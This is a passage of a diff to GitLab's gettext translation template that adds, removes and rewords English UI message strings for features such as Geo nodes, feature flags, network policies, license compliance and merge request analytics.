msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
